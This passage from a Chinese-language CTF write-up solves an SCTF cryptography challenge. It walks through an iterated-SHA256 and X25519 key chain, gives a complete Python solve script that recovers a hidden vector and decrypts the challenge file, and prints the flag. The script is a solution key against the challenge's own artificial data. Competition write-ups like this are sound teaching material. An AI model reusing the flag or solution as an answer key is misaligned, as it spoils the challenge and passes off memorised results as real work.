Step 2: 判断 Task2 的 burn 位置

task2.trace 给了关键信息:

secret_stage = compress(seed)
burn_counter = 0xc350
exchange = montgomery25519
payload_mode = stream-mask

这里 compress(seed) 对应 SHA256(seed)。需要判断 burn_counter 在曲线交换前还是后。尝试后发现正确链路为:

priv0 &nbsp; = SHA256(seed)
priv &nbsp; &nbsp;= SHA256 迭代 0xc350 次
shared &nbsp;= X25519(priv, task2.pub)
session = SHA256(shared)

其中:

session[:8] = 621e27e55f647db4

正好匹配 task2.log 的 session_prefix,所以 burn 发生在 X25519 交换之前。

payload 使用 stream-mask,实际密钥为:

payload_key = SHA256(session)
plaintext &nbsp; = task2.enc XOR payload_key

Complete Solve Script

运行方式:

python solve.py /path/to/attachment

脚本假设目录下存在 task1.txt 和 task2/task2.{pub,enc,log,trace}

import&nbsp;ast
import&nbsp;hashlib
import&nbsp;itertools
import&nbsp;re
import&nbsp;struct
import&nbsp;sys
from&nbsp;pathlib&nbsp;import&nbsp;Path

from&nbsp;cryptography.hazmat.primitives.asymmetric&nbsp;import&nbsp;x25519

P =&nbsp;65537
BASE = Path(sys.argv[1])&nbsp;if&nbsp;len(sys.argv) >&nbsp;1else&nbsp;Path(".")

def&nbsp;parse_task1(path: Path):
&nbsp; &nbsp; text = path.read_text(encoding="utf-8")
&nbsp; &nbsp; G = ast.literal_eval(
&nbsp; &nbsp; &nbsp; &nbsp; re.search(r"G\s*=\s*(\[.*?\])\s*\n\s*ciphertext_hex", text, re.S).group(1)
&nbsp; &nbsp; )
&nbsp; &nbsp; ct = bytes.fromhex(re.search(r"ciphertext_hex\s*=\s*([0-9a-f]+)", text).group(1))
&nbsp; &nbsp;&nbsp;return&nbsp;G, ct

def&nbsp;enum_weight(rows, w):
&nbsp; &nbsp; n = len(rows)
&nbsp; &nbsp;&nbsp;if&nbsp;w ==&nbsp;0:
&nbsp; &nbsp; &nbsp; &nbsp;&nbsp;yield&nbsp;(0,) *&nbsp;14, [0] * n
&nbsp; &nbsp; &nbsp; &nbsp;&nbsp;return

&nbsp; &nbsp;&nbsp;for&nbsp;comb&nbsp;in&nbsp;itertools.combinations(range(n), w):
&nbsp; &nbsp; &nbsp; &nbsp;&nbsp;for&nbsp;bits&nbsp;in&nbsp;range(1&nbsp;<< w):
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; h = [0] * n
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; v = [0] *&nbsp;14
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;&nbsp;for&nbsp;j, idx&nbsp;in&nbsp;enumerate(comb):
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; sign =&nbsp;1if&nbsp;((bits >> j) &&nbsp;1)&nbsp;else-1
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; h[idx] = sign
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; row = rows[idx]
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;&nbsp;for&nbsp;k&nbsp;in&nbsp;range(14):
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; v[k] = (v[k] + sign * row[k]) % P
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;&nbsp;yield&nbsp;tuple(v), h

def&nbsp;recover_h(G):
&nbsp; &nbsp; left, right = G[:15], G[15:]
&nbsp; &nbsp;&nbsp;# Most likely split first; still covers all possible weights.
&nbsp; &nbsp; order = [(5,&nbsp;5), (4,&nbsp;6), (6,&nbsp;4), (3,&nbsp;7), (7,&nbsp;3),
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;(2,&nbsp;8), (8,&nbsp;2), (1,&nbsp;9), (9,&nbsp;1), (0,&nbsp;10), (10,&nbsp;0)]

&nbsp; &nbsp;&nbsp;for&nbsp;wl, wr&nbsp;in&nbsp;order:
&nbsp; &nbsp; &nbsp; &nbsp; table = {}
&nbsp; &nbsp; &nbsp; &nbsp;&nbsp;for&nbsp;s, h&nbsp;in&nbsp;enum_weight(left, wl):
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; table[s] = h

&nbsp; &nbsp; &nbsp; &nbsp;&nbsp;for&nbsp;s, h2&nbsp;in&nbsp;enum_weight(right, wr):
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; need = tuple((-x) % P&nbsp;for&nbsp;x&nbsp;in&nbsp;s)
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;&nbsp;if&nbsp;need&nbsp;in&nbsp;table:
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;&nbsp;return&nbsp;table[need] + h2

&nbsp; &nbsp;&nbsp;raise&nbsp;RuntimeError("h not found")

def&nbsp;task1_seed(h, ct):
&nbsp; &nbsp; material = (
&nbsp; &nbsp; &nbsp; &nbsp;&nbsp;b"Curve_Link_Task1_Hard|P=65537|w=10|h="
&nbsp; &nbsp; &nbsp; &nbsp; +&nbsp;b",".join(str(x).encode()&nbsp;for&nbsp;x&nbsp;in&nbsp;h)
&nbsp; &nbsp; )
&nbsp; &nbsp; stream =&nbsp;b""
&nbsp; &nbsp;&nbsp;for&nbsp;counter&nbsp;in&nbsp;range((len(ct) +&nbsp;31) //&nbsp;32):
&nbsp; &nbsp; &nbsp; &nbsp; stream += hashlib.sha256(material + struct.pack(">I", counter)).digest()
&nbsp; &nbsp;&nbsp;return&nbsp;bytes(a ^ b&nbsp;for&nbsp;a, b&nbsp;in&nbsp;zip(ct, stream))

def&nbsp;task2_decrypt(seed, task2_dir: Path):
&nbsp; &nbsp; pub = (task2_dir /&nbsp;"task2.pub").read_bytes()
&nbsp; &nbsp; enc = (task2_dir /&nbsp;"task2.enc").read_bytes()

&nbsp; &nbsp; priv = hashlib.sha256(seed).digest()
&nbsp; &nbsp;&nbsp;for&nbsp;_&nbsp;in&nbsp;range(0xC350):
&nbsp; &nbsp; &nbsp; &nbsp; priv = hashlib.sha256(priv).digest()

&nbsp; &nbsp; private_key = x25519.X25519PrivateKey.from_private_bytes(priv)
&nbsp; &nbsp; public_key = x25519.X25519PublicKey.from_public_bytes(pub)
&nbsp; &nbsp; shared = private_key.exchange(public_key)

&nbsp; &nbsp; session = hashlib.sha256(shared).digest()
&nbsp; &nbsp; payload_key = hashlib.sha256(session).digest()
&nbsp; &nbsp; plaintext = bytes(a ^ b&nbsp;for&nbsp;a, b&nbsp;in&nbsp;zip(enc, payload_key))

&nbsp; &nbsp;&nbsp;return&nbsp;session[:8], plaintext

def&nbsp;main():
&nbsp; &nbsp; G, ct = parse_task1(BASE /&nbsp;"task1.txt")
&nbsp; &nbsp; h = recover_h(G)
&nbsp; &nbsp; seed = task1_seed(h, ct)
&nbsp; &nbsp; prefix, flag = task2_decrypt(seed, BASE /&nbsp;"task2")

&nbsp; &nbsp; print("h =", h)
&nbsp; &nbsp; print("seed_hex =", seed.hex())
&nbsp; &nbsp; print("seed_ascii =", seed.decode(errors="replace"))
&nbsp; &nbsp; print("session_prefix =", prefix.hex())
&nbsp; &nbsp; print("flag =", flag.decode())

if&nbsp;__name__ ==&nbsp;"__main__":
&nbsp; &nbsp; main()

输出:

h = [0, 1, 0, 0, -1, 1, 0, 0, 0, 1, 0, 0, 0, -1, 0, 0, 0, 1, 0, 0, -1, 0, -1, 0, 0, 0, 1, 0, -1, 0]
seed_hex = 6147466a794858316157646164616465
seed_ascii = aGFjyHX1aWdadade
session_prefix = 621e27e55f647db4
flag = SCTF{curve25519_bsuiahduie_cif_diqw}

Flag

SCTF{curve25519_bsuiahduie_cif_diqw}


免责声明:

本文所载程序、技术方法仅面向合法合规的安全研究与教学场景,旨在提升网络安全防护能力,具有明确的技术研究属性。

任何单位或个人未经授权,将本文内容用于攻击、破坏等非法用途的,由此引发的全部法律责任、民事赔偿及连带责任,均由行为人独立承担,本站不承担任何连带责任。

本站内容均为技术交流与知识分享目的发布,若存在版权侵权或其他异议,请通过邮件联系处理,具体联系方式可点击页面上方的联系我

本文转载自:赛查查 《SCTF-(部分)》

SCTF-(部分) 网络安全文章

SCTF-(部分)

文章总结: 文档描述了SCTF竞赛中一个Web漏洞和一个MISC合约分析。Web漏洞是Rustunsafe代码导致的Use-After-Free,通过Gatew
评论:0   参与:  0